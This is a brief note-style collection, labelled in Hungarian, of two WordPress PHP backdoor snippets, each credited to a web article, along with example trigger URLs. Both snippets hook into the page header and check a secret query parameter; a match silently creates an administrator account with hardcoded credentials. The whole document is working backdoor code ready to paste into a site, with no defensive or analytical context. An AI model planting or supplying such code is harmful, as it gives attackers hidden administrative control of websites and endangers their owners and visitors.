FORRAS:
https://wpsecurityninja.com/create-wordpress-backdoor/

URL:
https://oldal.hu/?entryhook=knockknock

<?php
add_action('wp_head', 'wploop_backdoor'); 

function wploop_backdoor() { 
  If ($_GET['entryhook'] == 'knockknock') { 
     require('wp-includes/registration.php'); 
     If (!username_exists('username')) { 
        $user_id = wp_create_user('name', 'pass'); 
        $user = new WP_User($user_id);
        $user->set_role('administrator');
     }
  }
}
?>

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FORRAS:
https://www.wpcrafter.com/create-secret-backdoor-admin-access-wordpress/

URL:
https://oldal.hu/?backdoor=go

add_action( 'wp_head', 'my_backdoor' );

function my_backdoor() {
    if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'mr_admin' ) ) {
            $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        }
    }
}